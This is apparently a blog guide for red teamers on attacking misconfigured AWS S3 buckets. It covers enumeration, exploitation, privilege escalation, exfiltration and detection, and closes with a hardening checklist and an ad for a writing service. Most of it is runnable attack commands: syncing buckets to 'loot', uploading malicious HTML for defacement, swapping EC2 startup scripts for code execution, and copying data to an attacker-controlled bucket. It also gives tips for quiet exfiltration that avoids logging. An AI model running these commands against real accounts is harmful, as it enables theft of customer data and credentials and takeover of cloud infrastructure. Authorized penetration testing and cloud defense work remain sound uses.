Introduction
Amazon S3 (Simple Storage Service) has been at the center of some of the most damaging data breaches in cloud history. From exposed customer databases to leaked government documents, misconfigured S3 buckets remain a goldmine for attackers — and a nightmare for defenders.
In 2026, S3 misconfigurations haven’t disappeared. They’ve evolved. New attack surfaces emerge from complex IAM chains, cross-account trust relationships, and the growing use of S3 as a backend for serverless and containerized workloads. For red teamers and pentesters, S3 is still one of the highest-value targets in any AWS engagement.
This guide covers the full offensive lifecycle: enumerating buckets, identifying misconfigurations, exploiting access, escalating privileges via S3 bucket policies, exfiltrating data, and understanding how defenders catch you. Whether you’re running a cloud pentest or preparing for a real-world engagement, this is your operational reference.
Practice responsibly: Use isolated environments for testing. Set up your own AWS lab or spin up a dedicated cloud VM.
Practice in an isolated cloud environment → Vultr
Spin up a pentest droplet → DigitalOcean
S3 Basics for Attackers
Before you enumerate, you need to understand what you’re looking at.
Bucket Naming and URL Formats
S3 buckets follow predictable naming conventions, which makes them enumerable. Every bucket has:
- A globally unique name (3–63 characters, lowercase, alphanumeric + hyphens)
- A region-specific endpoint:
https://BUCKET.s3.REGION.amazonaws.com - A path-style URL (legacy):
https://s3.amazonaws.com/BUCKET
Organizations predictably name buckets after their products, internal tools, or environments:
company-backupscompany-dev-assetscompany-staging-logscompany-prod-terraform-state
This predictability is your first attack surface.
Access Control Layers
S3 has multiple overlapping access control mechanisms:
- Bucket ACLs — Legacy object-level and bucket-level permissions. AWS deprecated public ACL settings, but many older buckets still have them.
- Bucket Policies — JSON-based resource policies attached directly to the bucket. Can grant access to specific IAM principals, other AWS accounts, or
*(everyone). - IAM Policies — Identity-based policies attached to users, roles, or groups. Control what AWS principals can do.
- Block Public Access Settings — Account-level and bucket-level guardrails that override ACLs and policies to block public access.
- S3 Access Points — Named network endpoints for accessing buckets, each with their own policy.
The critical nuance: Block Public Access settings can be enabled at the account level but disabled at the bucket level, creating pockets of public exposure even in otherwise locked-down environments.
What Attackers Want
When attacking S3, the high-value targets are:
- Terraform state files — Often contain plaintext secrets, resource ARNs, and IAM credentials
- Database backups —
.sql,.dump,.bakfiles with raw customer data - Application configs —
.envfiles,config.json,secrets.yaml - Source code archives — Compressed repos with hardcoded credentials
- Access logs — Reveal what other services and users are accessing
- Static website assets — Sometimes include embedded API keys or tokens
Enumeration Techniques
1. Passive Enumeration via OSINT
Before touching AWS directly, harvest bucket names from public sources.
Certificate Transparency Logs:
curl -s "https://crt.sh/?q=%25.s3.amazonaws.com&output=json" | jq '.[].name_value' | sort -u
Google Dorks:
site:s3.amazonaws.com "company-name"
site:*.s3.amazonaws.com filetype:pdf
inurl:s3.amazonaws.com "Index of /"
GitHub/GitLab Searches: Search for hardcoded S3 bucket names in public repos:
"s3://company" bucket_name
"amazonaws.com/company" aws_access_key
bucket-stream monitors Certificate Transparency logs in real time for newly registered S3-style domains:
git clone https://github.com/eth0izzle/bucket-stream
cd bucket-stream
pip3 install -r requirements.txt
python3 bucket-stream.py
2. Active Bucket Enumeration with s3scanner
s3scanner is the go-to tool for bulk S3 bucket enumeration and permission checking.
# Install
pip3 install s3scanner
# Scan a single bucket
s3scanner scan --bucket company-backups
# Scan from a wordlist
s3scanner scan --bucket-file wordlist.txt
# Generate a wordlist from a company name
s3scanner scan --bucket company --enumerate
s3scanner checks:
- Whether the bucket exists
- Whether anonymous access is allowed (list, read, write)
- Whether authenticated AWS access changes permissions
3. lazys3 — Permutation-Based Discovery
lazys3 bruteforces bucket names using common naming patterns around a keyword:
ruby lazys3.rb company
This generates and tests variations like:
company-dev,company-prod,company-stagingcompanybackup,company.backupdev.company,prod.company
4. AWS CLI — Direct Enumeration
If you have any AWS credentials (even low-privilege), use the AWS CLI to enumerate:
# List all buckets (requires s3:ListAllMyBuckets on *)
aws s3 ls
# List contents of a specific bucket
aws s3 ls s3://target-bucket/ --no-sign-request
# List recursively
aws s3 ls s3://target-bucket/ --recursive --no-sign-request
# Check bucket ACL
aws s3api get-bucket-acl --bucket target-bucket
# Check bucket policy
aws s3api get-bucket-policy --bucket target-bucket
# Check Block Public Access settings
aws s3api get-public-access-block --bucket target-bucket
The --no-sign-request flag allows unauthenticated access — useful for testing truly public buckets.
5. TruffleHog — Secret Scanning in S3
Once you have read access to a bucket, run TruffleHog to scan for secrets in stored files:
trufflehog s3 --bucket=target-bucket --only-verified
TruffleHog scans S3 objects for AWS keys, API tokens, database credentials, and hundreds of other secret patterns. It supports unauthenticated scanning of public buckets.
Common Misconfigs & Exploitation
Misconfiguration 1: Public Bucket with Sensitive Data
Detection:
aws s3api get-bucket-acl --bucket target-bucket
# Look for: "URI": "http://acs.amazonaws.com/groups/global/AllUsers"
aws s3 ls s3://target-bucket/ --no-sign-request
Exploitation:
# Download everything
aws s3 sync s3://target-bucket/ ./loot/ --no-sign-request
# Download specific file types
aws s3 cp s3://target-bucket/backup.sql ./loot/ --no-sign-request
Misconfiguration 2: Overly Permissive Bucket Policy
Detection — Get the policy:
aws s3api get-bucket-policy --bucket target-bucket --query Policy --output text | python3 -m json.tool
Red flags in a policy:
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::target-bucket/*"
}
Or worse — write access:
{
"Effect": "Allow",
"Principal": "*",
"Action": ["s3:PutObject", "s3:DeleteObject"],
"Resource": "arn:aws:s3:::target-bucket/*"
}
Exploitation:
# If write access is allowed
aws s3 cp malicious.html s3://target-bucket/ --no-sign-request
# If the bucket hosts a static website, you've just achieved XSS or defacement
Misconfiguration 3: Authenticated but Overly Broad IAM Access
Sometimes buckets aren’t publicly accessible but any authenticated AWS user (even from a different account) can access them.
Detection:
# Enumerate with your own valid AWS credentials (not the target's)
aws s3 ls s3://target-bucket/
aws s3api get-bucket-policy --bucket target-bucket
Look for policies containing:
"Principal": {"AWS": "*"}
or
"Principal": "*",
"Condition": {"StringEquals": {"aws:PrincipalAccount": "ATTACKER_ACCOUNT_ID"}}
Misconfiguration 4: Exposed Terraform State
Terraform state in S3 often contains everything you need to map the entire infrastructure:
# Check for state files
aws s3 ls s3://company-terraform-state/ --recursive
# Download and parse
aws s3 cp s3://company-terraform-state/prod/terraform.tfstate .
cat terraform.tfstate | python3 -m json.tool | grep -E "(password|secret|key|token)"
Terraform state regularly contains:
- Database passwords in plaintext
- IAM access key IDs and secrets
- Private IP ranges and VPC configurations
- Resource ARNs useful for further enumeration
Misconfiguration 5: Logging Bucket Exposure
Organizations often create a centralized logging bucket. If it’s accessible, you get:
- CloudTrail logs — full API call history
- S3 access logs — what’s being accessed and by whom
- VPC flow logs — network traffic metadata
aws s3 ls s3://company-cloudtrail-logs/ --recursive
aws s3 sync s3://company-cloudtrail-logs/ ./cloudtrail-loot/
Parse CloudTrail logs to understand the AWS environment:
# Find IAM credential usage
cat cloudtrail.json | jq '.Records[] | select(.eventSource == "iam.amazonaws.com") | {user: .userIdentity.userName, event: .eventName, time: .eventTime}'
Privilege Escalation via S3
S3 isn’t just a data store — it’s a pivot point for IAM privilege escalation. This is where S3 attacks get serious.
Vector 1: S3 → Lambda → IAM Role
If you find a Lambda deployment package in an S3 bucket:
- Download the ZIP
- Inspect the code for hardcoded credentials or role assumption patterns
- Check what IAM role the Lambda executes with
- Modify the code to exfiltrate the Lambda’s execution role credentials
- Re-upload if write access exists
# Download Lambda package
aws s3 cp s3://company-lambda-deployments/function.zip .
# Extract and examine
unzip function.zip -d function_code/
grep -r "boto3\|credentials\|assume_role\|ACCESS_KEY" function_code/
Vector 2: EC2 User Data via S3
Some EC2 launch configurations pull user data scripts from S3. If you can write to that bucket:
# Check if any user data scripts reference S3
aws s3 ls s3://company-bootstrap-scripts/
# If writable, replace a startup script
aws s3 cp malicious-userdata.sh s3://company-bootstrap-scripts/init.sh
When the next EC2 instance launches, it executes your script.
Vector 3: IAM Policy Documents Stored in S3
Some automation pipelines store IAM policy JSON in S3 and apply it via CI/CD. If you can modify those policy documents:
- Find the policy files
- Add an
Allow *statement forsts:AssumeRoleon a high-privilege role - Wait for the automation to apply it
- Assume the role
Vector 4: Bucket Policy Abuse for Cross-Account Escalation
If a bucket policy grants access to a specific external account and you control that account:
# From your attacker-controlled AWS account
aws s3 ls s3://target-bucket/ \
--profile attacker-account
# The bucket policy says: Allow arn:aws:iam::ATTACKER_ACCOUNT:root
# You're in
For a deeper look at IAM escalation chains: AWS IAM Privilege Escalation Guide
Exfiltration
Once you have access, exfiltrate efficiently and quietly.
Bulk Sync
# Full bucket sync (noisy — triggers many S3 GetObject events)
aws s3 sync s3://target-bucket/ ./loot/
# Selective — high-value file types only
aws s3 cp s3://target-bucket/ ./loot/ --recursive \
--exclude "*" \
--include "*.sql" \
--include "*.env" \
--include "*.pem" \
--include "*.key" \
--include "*.tfstate"
Quiet Exfil via Pre-Signed URLs
If you don’t want to generate direct API calls from your IP, generate pre-signed URLs and download via a proxy:
# Generate a pre-signed URL valid for 1 hour
aws s3 presign s3://target-bucket/sensitive.sql --expires-in 3600
# Download from elsewhere
curl "https://target-bucket.s3.amazonaws.com/sensitive.sql?X-Amz-Algorithm=..." -o sensitive.sql
Copy to Attacker-Controlled Bucket
# Copy directly between buckets (no data touches your local machine)
aws s3 cp s3://target-bucket/sensitive.sql s3://attacker-bucket/exfil/ \
--source-region us-east-1 \
--region us-west-2
This is particularly stealthy as it appears as an S3-to-S3 copy in the target’s CloudTrail logs, with your account ID as the destination — but only if logging captures CopyObject events.
Defense & Detection
Understanding detection helps red teamers simulate realistic attacks and helps defenders tune their controls.
What Gets Logged
CloudTrail captures all S3 API calls when data event logging is enabled:
GetObject— file downloadsPutObject— file uploadsListBucket— directory listingGetBucketPolicy— policy readsDeleteObject— deletions
S3 Server Access Logs provide HTTP-level logging including requester IP, user agent, and status codes.
Detection Signals Defenders Watch
- Unauthenticated ListBucket requests — Automated scanning tools trigger rapid unauthenticated list attempts
- Mass GetObject from new IP — Bulk sync operations from an IP with no prior history
- GetBucketPolicy + GetBucketAcl in sequence — Permission enumeration pattern
- Access from unexpected geo — Cross-region or international access to internal buckets
- New IAM principal accessing a bucket — Especially if the bucket hasn’t been accessed in 30+ days
Hardening Checklist
# Enable Block Public Access at account level
aws s3control put-public-access-block \
--account-id 123456789012 \
--public-access-block-configuration \
BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true
# Enable versioning (prevents destructive overwrites)
aws s3api put-bucket-versioning \
--bucket target-bucket \
--versioning-configuration Status=Enabled
# Enable server-side encryption
aws s3api put-bucket-encryption \
--bucket target-bucket \
--server-side-encryption-configuration \
'{"Rules":[{"ApplyServerSideEncryptionByDefault":{"SSEAlgorithm":"AES256"}}]}'
# Enable CloudTrail data events for S3
aws cloudtrail put-event-selectors \
--trail-name my-trail \
--event-selectors '[{"ReadWriteType":"All","IncludeManagementEvents":true,"DataResources":[{"Type":"AWS::S3::Object","Values":["arn:aws:s3:::*/*"]}]}]'
AWS Security Services Worth Knowing
- Amazon Macie — ML-based sensitive data discovery in S3. Automatically flags buckets containing PII, credentials, and financial data.
- AWS Config — Continuously evaluates bucket configurations against compliance rules (e.g.,
s3-bucket-public-read-prohibited). - GuardDuty — Behavioral threat detection. Flags anomalous S3 access patterns and known malicious IP ranges.
- Security Hub — Aggregates findings from Macie, GuardDuty, and Config into a single console.
For a broader AWS offensive methodology, see: AWS Pentesting Guide 2026
Also check our roundup of current tooling: Cloud Pentesting Tools 2026
Conclusion
S3 misconfigurations remain one of the most common and consequential findings in cloud security assessments. The attack surface is wide: public buckets, overly permissive policies, cross-account trust relationships, and S3’s role as a pivot point in IAM escalation chains.
For red teamers, S3 enumeration should be a first-pass step in every AWS engagement — before you touch IAM, before you look at EC2. The data sitting in misconfigured buckets often hands you everything you need: credentials, infrastructure maps, application secrets.
For defenders, the hardening checklist above covers the fundamentals. But configuration hygiene only goes so far — you need logging, detection, and regular audits (Macie runs are cheap) to catch drift before an attacker does.
The cloud is not inherently insecure. But it is unforgiving of misconfiguration.
Need expert cloud security content for your blog or security team? CipherWrite delivers pentest-grade technical writing — articles, whitepapers, and LinkedIn content that actually ranks.
